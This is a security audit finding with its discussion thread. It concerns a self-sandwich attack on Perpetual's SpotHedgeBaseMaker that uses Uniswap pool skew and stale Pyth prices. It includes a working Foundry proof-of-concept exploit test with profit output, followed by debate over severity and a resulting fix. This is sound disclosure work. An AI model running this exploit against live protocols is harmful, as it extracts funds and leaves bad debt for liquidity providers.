IllIllI - Attackers can sandwich their own trades up to the price bands

[sherlock-admin4]

IllIllI

medium

Attackers can sandwich their own trades up to the price bands

Summary

Malicious users can sandwich their own SpotHedgeBaseMaker trades up to the price band cap

Vulnerability Detail

The SpotHedgeBaseMaker allows one to settle trades against a UniswapV3 pool. The assumption is that the pool prices tokens properly, and any imbalance in the pool is reflected in the price paid/amount received by the trader interacting with the SpotHedgeBaseMaker. This assumption is incorrect, because an attacker can sandwich their own trade, taking value out of the Perpetual system.

The attacker would get a large flash loan, imbalance the pool, use the ClearingHouse to settle and opening trade, then re-balance the pool, all in the same transaction.

Impact

For example, assume the actual exchange rate is $4,000/1WEth, and the attacker is able to skew it such that the exchange rate temporarily becomes $1/1WEth. The attacker opening a short of 1Eth means that the SpotHedgeBaseMaker ends up going long 1Eth, and hedges that long by swapping 1WEth for $1. The attacker ends up using ~1 in margin to open the short. After the attacker unwinds the skew, they've gained 1WEth ($4k) from the rebalance, and they can abandon the perp account worth -$4k.

In reality, the attacker won't be able to skew the exchange rate by quite that much, because there's a price band check at the end of the trade, ensuring that the price gotten on the trade is roughly equivalent to the oracle's price. The test comments indicate that the bands are anticipated to be +/- 10%. If the price bands are set to zero (the swap price must be the oracle price), then the SpotHedgeBaseMaker won't be usable at all, since uniswap charges a fee for every trade. If the bands are widened to be just wide enough to accommodate the fee, then other parts of the system, such as the OracleMaker won't work properly (see other submitted issue). Therefore, either some value will be extractable, or parts of the protocol will be broken.

Because of these restrictions/limitations I've submitted this as a Medium.

Code Snippet

The SpotHedgeBaseMaker doesn't require that the sender be the Gateway/GatewayV2, so anyone can execute it directly from the ClearingHouse:

// File: src/maker/SpotHedgeBaseMaker.sol : SpotHedgeBaseMaker.isValidSender()   #1

514        function isValidSender(address) external pure override returns (bool) {
515            return true;
516:       }

https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/maker/SpotHedgeBaseMaker.sol#L504-L526

Tool used

Manual Review

Recommendation

Require that SpotHedgeBaseMaker be executed by a relayer

[42bchen]

// ETH oracle 100, spot 100 (100 ETH, 10000 USDC) assume no fee, full range v3 liquidity
// user flashLoan buy ETH -> spot 400 (50 ETH, 20000 USDC), user borrow 10000 USDC to swap, get 50 ETH
// user open short position on SHBM
// - SHBM sell 1 ETH -> (51 ETH,19607.84 USDC) -> get 392.16 USDC
// - user openNotional 392.16 USDC, SHBM openNotional -392.16 USDC
// user sell 50 ETH to pool (101 ETH, 9,900.99 USDC), get 9706.85 USDC
// result:
// - user profit: -10000 (borrow debt) + 292.16 (system profit) + 9706.85 (from selling ETH) = -1
// - SHBM profit: 392.16 (sell ETH) + -292.16 (system profit) = 100
// user didn't has profit

the user profit in the system does not reflect the real profit in the whole attack operation; the attacker needs some cost to push the price.
Our spotHedgeMaker is hedged, and our system total pnl = 0

[IllIllI000]

@42bchen can you take a look at this test case? I believe it shows that sandwiching can be profitable as long as there's enough of a price difference between the pyth price and the uniswap price (note that it's not trading against the OracleMaker - only against the SHBM). Change spotPoolFee to be 100 in SpotHedgeBaseMakerForkSetup.sol, then add this test as perp-contract-v3/test/spotHedgeMaker/Sandwich.sol

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;

// forge test --match-test testSandwich -vv

import "forge-std/Test.sol";
import "../spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol";
import { OracleMaker } from "../../src/maker/OracleMaker.sol";
import "../../src/common/LibFormatter.sol";
import { SignedMath } from "@openzeppelin/contracts/utils/math/SignedMath.sol";

contract priceDivergence is SpotHedgeBaseMakerForkSetup {

    using LibFormatter for int256;
    using LibFormatter for uint256;
    using SignedMath for int256;

    address public exploiter = makeAddr("Exploiter");
    OracleMaker public oracle_maker;

    function setUp() public override {
        super.setUp();
        oracle_maker = new OracleMaker();
        _enableInitialize(address(oracle_maker));
        oracle_maker.initialize(marketId, "OM", "OM", address(addressManager), priceFeedId, 1e18);
        config.registerMaker(marketId, address(oracle_maker));
        config.setFundingConfig(marketId, 0.005e18, 1.3e18, address(oracle_maker));
        config.setMaxBorrowingFeeRate(marketId, 10000000000, 10000000000);
        oracle_maker.setMaxSpreadRatio(0.1 ether);
        oracle_maker.setValidSender(exploiter,true);
        pyth = IPyth(0xff1a0f4744e8582DF1aE09D5611b887B6a12925C);
        _mockPythPrice(2000,0);
    }

    function testSandwich() public {
       // deposit 2k collateral as margin for exploiter
       _deposit(marketId, exploiter, 2_000e6);

       // deposit 2000 base tokens ($4M) to the HSBM
       vm.startPrank(makerLp);
       deal(address(baseToken), makerLp, 2000e9, true);
       baseToken.approve(address(maker), type(uint256).max);
       maker.deposit(2000e9);
       vm.stopPrank();

       // exploiter has 43 base tokens ($86K)
       deal(address(baseToken), exploiter, 43e9, true);

       // exploiter balances at the start
       uint256 baseBalanceStart = baseToken.balanceOf(exploiter);
       console.log("exploiter initial values (margin, collateral, base)");
       console.logInt(vault.getMargin(marketId,address(exploiter)).formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals()));
       console.log(collateralToken.balanceOf(exploiter));
       console.log(baseBalanceStart);

       // the price gapped ~7% within the last 60 seconds, and nobody has updated the pyth price,
       // but the uniswap pool has already adjusted
       int64 oldPrice = 2000 * 93 / 100;
       _mockPythPrice(oldPrice,0);

       // first stage: skew in favor of collateral token
       vm.startPrank(exploiter);
       baseToken.approve(address(uniswapV3Router), type(uint256).max);
       uniswapV3Router.exactInput(
           ISwapRouter.ExactInputParams({
               path: uniswapV3B2QPath,
               recipient: exploiter,
               deadline: block.timestamp,
               amountIn: baseToken.balanceOf(exploiter),
               amountOutMinimum: 0
           })
        );

        // second stage: open short position on SHBM
        (int256 pbT, int256 pqT) = clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: true,
                isExactInput: true,
                amount: 2e18,
                oppositeAmountBound: 1,
                deadline: block.timestamp,
                makerData: ""
            })
        );

        // third stage: swap back to fix the skew
        collateralToken.approve(address(uniswapV3Router), type(uint256).max);
        uniswapV3Router.exactInput(
                ISwapRouter.ExactInputParams({
                    path: uniswapV3Q2BPath,
                    recipient: exploiter,
                    deadline: block.timestamp,
                    amountIn: collateralToken.balanceOf(exploiter),
                    amountOutMinimum: 0
                })
            );

       console.log("exploiter ending values (margin, collateral, base)");
       uint256 baseBalanceFinish = baseToken.balanceOf(exploiter);
       console.logInt(vault.getMargin(marketId,address(exploiter)).formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals()));
       console.log(collateralToken.balanceOf(exploiter));
       console.log(baseBalanceFinish);

       // gain is for more than one ETH, which is enough to abandon the collateral in the vault
       console.log("Gain:", baseBalanceFinish - baseBalanceStart);

       vm.stopPrank();
    }
}

output:

Logs:
  exploiter initial values (margin, collateral, base)
  2000000000
  0
  43000000000
  exploiter ending values (margin, collateral, base)
  2000000000
  0
  44018525544
  Gain: 1018525544

[paco0x]

@IllIllI000 thanks for your POC scripts. After carefully analyzing the numbers in this test case, I believe that the exploiter's profit is caused by bad debt under the assumption of deviation in pyth prices in 60s (7% in this case).

In this test, the exploiter's actual source of income is that he increased his buying power by using a stale price for opening position. He short 2 ETH with avg price 964, this position passed the IM ratio check since the price is 1860 instead of 2000 in contract. And he'll be in bad debt after the price updated to 2000 in the contract. The SHBM is always hedged and does not lose money.

To mitigate the price deviation issue, we're currently using a permissioned keeper to settle user's orders with makers, but seems users can still open position directly with SHBM to bypass the keeper. And if the price deviation issue exists, there'll be a room to intentionally generate bad debt and make profit, just like in this test case.

So I agree this issue is valid, but under the price deviation assumption. If you have any other idea that can bypass this assumption, I would agree to elevate the severity level of this issue.

The initial idea to solve this issue is:

1. use a relayer to settle orders with SHBM
2. impose some restrictions on the average price of open positions, in order to prevent avg price from deviating too much from the oracle.

Thanks a lot for you great work!

[paco0x]

@IllIllI000 thanks for your POC scripts. After carefully analyzing the numbers in this test case, I believe that the exploiter's profit is caused by bad debt under the assumption of deviation in pyth prices in 60s (7% in this case).

In this test, the exploiter's actual source of income is that he increased his buying power by using a stale price for opening position. He short 2 ETH with avg price 964, this position passed the IM ratio check since the price is 1860 instead of 2000 in contract. And he'll be in bad debt after the price updated to 2000 in the contract. The SHBM is always hedged and does not lose money.

To mitigate the price deviation issue, we're currently using a permissioned keeper to settle user's orders with makers, but seems users can still open position directly with SHBM to bypass the keeper. And if the price deviation issue exists, there'll be a room to intentionally generate bad debt and make profit, just like in this test case.

So I agree this issue is valid, but under the price deviation assumption. If you have any other idea that can bypass this assumption, I would agree to elevate the severity level of this issue.

The initial idea to solve this issue is:

1. use a relayer to settle orders with SHBM
2. impose some restrictions on the average price of open positions, in order to prevent avg price from deviating too much from the oracle.

Thanks a lot for you great work!

Another thing to add on, in this test case, we didn't set the price band in Config contract. If we add a price band of 20% in the setUp like:

 config.setPriceBandRatio(marketId, 0.2e18);

The exploiter cannot open his position since the trade price deviates too much from oracle price. The difficulty of this attack will significantly increase with a effective price band.

[IllIllI000]

thanks @paco0x in this issue, I point out that the price bands can be bypassed via sandwich as well, by using different pyth prices. Please let me know your thoughts on that one as well, there, since it's currently marked as a duplicate of one that is marked as sponsor-disputed.

[sherlock-admin4]

The protocol team fixed this issue in the following PRs/commits:
https://github.com/perpetual-protocol/perp-contract-v3/pull/19

[nirohgo]

Escalate

Should be invalid:
A. The POC presented is highly unlikely for serveral reasons:

1. For it to work, the pool in question needs to have low liquidity. the pool is initialized with $200,000(collateral)/100Eth(base) in SpotHedgeBaseMakerForkSetup line 81/82. If you add just one zero to each (representing a more likely liquidity of $2M) the attack doesn't hold because of reduced slippage. For reference, currently on UniV3 on optimism Eth/USDT has 2M and Eth/USDC has 10M.
2. The fee tier was changed to 100 (0.01%) which again, in highly unlikely since this rate is used only for stable pairs. change to 3000 and the attack doesn't hold.
3. The POC scenario of a price drop of 7% within 60 seconds with no onchain update of the Pyth contract is also highly unlikely as such price shifts are rare and likely to draw an immediate update as many protocols can be affected.

B. Even if all the above conditions hold, the profit calculation is wrong: The exploiter in the example deposited $2000 collateral and is left with an unrealized PnL of -$1790 at the end (add these lines at the end to see):

int256 on = vault.getOpenNotional(marketId,exploiter).formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals());
 int256 unrePnl = vault.getUnrealizedPnl(marketId, exploiter, uint256(uint64(oldPrice)) * (10**18));
console.logInt(on);
console.logInt(unrePnl);

which means if they "abandon the perp" as the finding suggests they are out $2000 and have gained nothing.
The original finding scenario is even more unrealistic (even if we disregard the price band check) because the amount required to drop the price from $4000 to $1 for a univ3 pair with reasonable liquidity will make the exploit non-profitable due to the Uni trading fees.

[sherlock-admin2]

Escalate

Should be invalid:
A. The POC presented is highly unlikely for serveral reasons:

1. For it to work, the pool in question needs to have low liquidity. the pool is initialized with $200,000(collateral)/100Eth(base) in SpotHedgeBaseMakerForkSetup line 81/82. If you add just one zero to each (representing a more likely liquidity of $2M) the attack doesn't hold because of reduced slippage. For reference, currently on UniV3 on optimism Eth/USDT has 2M and Eth/USDC has 10M.
2. The fee tier was changed to 100 (0.01%) which again, in highly unlikely since this rate is used only for stable pairs. change to 3000 and the attack doesn't hold.
3. The POC scenario of a price drop of 7% within 60 seconds with no onchain update of the Pyth contract is also highly unlikely as such price shifts are rare and likely to draw an immediate update as many protocols can be affected.

B. Even if all the above conditions hold, the profit calculation is wrong: The exploiter in the example deposited $2000 collateral and is left with an unrealized PnL of -$1790 at the end (add these lines at the end to see):

int256 on = vault.getOpenNotional(marketId,exploiter).formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals());
 int256 unrePnl = vault.getUnrealizedPnl(marketId, exploiter, uint256(uint64(oldPrice)) * (10**18));
console.logInt(on);
console.logInt(unrePnl);

which means if they "abandon the perp" as the finding suggests they are out $2000 and have gained nothing.
The original finding scenario is even more unrealistic (even if we disregard the price band check) because the amount required to drop the price from $4000 to $1 for a univ3 pair with reasonable liquidity will make the exploit non-profitable due to the Uni trading fees.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[IllIllI000]

Logically, if a sandwich can be shown to be profitable with one specific set of numbers with no mistakes and feasible settings, then other combinations are also possible, and it's not my job to show every single possible combination - one suffices to show that there's a security risk here, where a sandwich can cause bad debt to occur. The sponsor confirmed the numbers themselves - they didn't just take my word for it. The escalating watson also misunderstood the POC, because the profit is the extra 0.018525544 Eth gained from swapping back after the sandwich, not anything in the perp account, which will be abandoned

[nirohgo]

The escalating watson also misunderstood the POC, because the profit is the extra 0.018525544 Eth gained from swapping back after the sandwich, not anything in the perp account, which will be abandoned

I understood the POC, it's just that the POC output states gains are 1.018525544Eth so I thought you forgot about the abandoned amount.

Logically, if a sandwich can be shown to be profitable with one specific set of numbers with no mistakes and feasible settings, then other combinations are also possible, and it's not my job to show every single possible combination - one suffices to show that there's a security risk here, where a sandwich can cause bad debt to occur.

My point is that these setting are not feasible. As mentioned, pool fee of 100 is only used with stable pairs. Since collateral is USDT this means a pair with some other USD pegged token. This means much lower uniswap slippage than in the POC (even with the given liquidity) and much smaller chance of there being a 7% price drop within 60 seconds that doesn't get published onchain. (Actually I don't think a futures market on a pair of two USD pegged stables is even a thing)

[IllIllI000]

WETH/USDC on OP has a 0.05% fee https://info.uniswap.org/pools#/optimism/pools/0x85149247691df622eaf1a8bd0cafd40bc45154a9
Changing the unit test to use 44e9 base tokens instead of 43e9, and a 7.2% drop instead of 7.0% results in the test still passing with a profit with a 0.05% fee instead of the 0.01% one you say is not feasible

[nevillehuang]

@IllIllI000 I believe based on the impact of profit you have shown and the constrained scenario required to execute this attack, medium severity is more appropriate

[nirohgo]

Hi @nevillehuang , I still think it's a low. The new scenario the watson proposed generates around $2 profit in the black swanish event of a 7.2% price drop within 60 seconds (that is not reported on chain). I Dont think it qualifies even as a medium.

[IllIllI000]

The risk-free profit is ~$67 with an investment of only 1 Eth, which is ~2%. The POC only used 1Eth, but much larger amounts can be used instead

[nirohgo]

The risk-free profit is ~$67 with an investment of only 1 Eth, which is ~2%. The POC only used 1Eth, but much larger amounts can be used instead

Not really - $67 was the original POC scenario which we're establish is not feasible. Under the new one you provided: "Changing the unit test to use 44e9 base tokens instead of 43e9, and a 7.2% drop instead of 7.0% results in the test still passing with a profit with a 0.05% fee instead of the 0.01% one you say is not feasible" the "gains" are only 1.001184143 which leaves around $2 after the abandoned position. (again, that too is only possible under an extremely rare event)

[IllIllI000]

Ok, yes, it's ~$4 with the specific POC and the updated fee, my mistake in copying the old value. However, like I said this is on a base of 1 eth, and this is a risk free attack that can be larger depending on how much capital is available to the attacker

[nirohgo]

Yes, but that too, only when there's a 7.2% price drop within 60 seconds that wasn't reported to pyth onchain. I mean, how often does that happen?

[IllIllI000]

The sponsor is fixing the issue, so it's not a risk they're willing to take. I think at this point we should let the judge decide

[nevillehuang]

@IllIllI000 I believe this is borderline medium/high. Do you have an example of a token (I suppose any non-weird token) that this has occured for a pyth oracle return value (maybe we could check their dashboards)? If not I believe given the relatively uncommon occurence of this, medium severity seems appropriate

[IllIllI000]

I spent quite a bit of time trying to provide an example. Some issues I'm facing are that none of the Pyth web interfaces let you do range queries, so I have to manually fetch prices one-by-one in order to find an example. Etherscan also doesn't help because all updates are done via a single contract, and it doesn't let me filter transaction-internal function calls by parameter, so it's another manual process. Even if I were to spend the hours digging through to find an example, the head of judging may have some other requirement that I need to search for, just like after countering nirohgo's complaints there's this new request, so I'd rather not spend more time searching for something that may or may not convince the head of judging, and just wait to hear what they ask for. The sponsor found the finding to be valuable, the POC shows a risk-free profit, and the add-on submission shows a way to counter the price band protections. I agree that the specific POC I provided depends on a gap occurring

[WangSecurity]

@IllIllI000 From the comments above it's not clear for me: the attack has specific external conditions and state to occur or the restrictions are low? Can you elaborate a bit on what are prerequisites and constaints for this issue to happen? Thank you in advance!

[IllIllI000]

@WangSecurity I've tried again today to find other combinations of margin, collateral, leverage, and sandwich size, but since it's a manual process of trial and error of all of these parameters, as well as a bit of fuzzing, and I wasn't able to get anywhere useful. Given that, you can consider the external condition to be that there is a large gap (7%) for the attacker to make a profit. Any smaller gap just creates a loss for the LP which is supposed to be hedged and not have losses, but the attacker loses more.

[WangSecurity]

Therefore, based on the comment above, I believe medium severity is appropriate here. Thank you for all the help and work on this issue. Since the escalation proposes it should be invalid, planning to reject the escalation, but downgrade it to medium.

If you have any other inputs/comments on this, would be glad to hear.

[Evert0x]

Result:
Medium
Has Duplicates

[sherlock-admin3]

Escalations have been resolved successfully!

Escalation status:

• nirohgo: rejected

[sherlock-admin3]

The Lead Senior Watson signed off on the fix.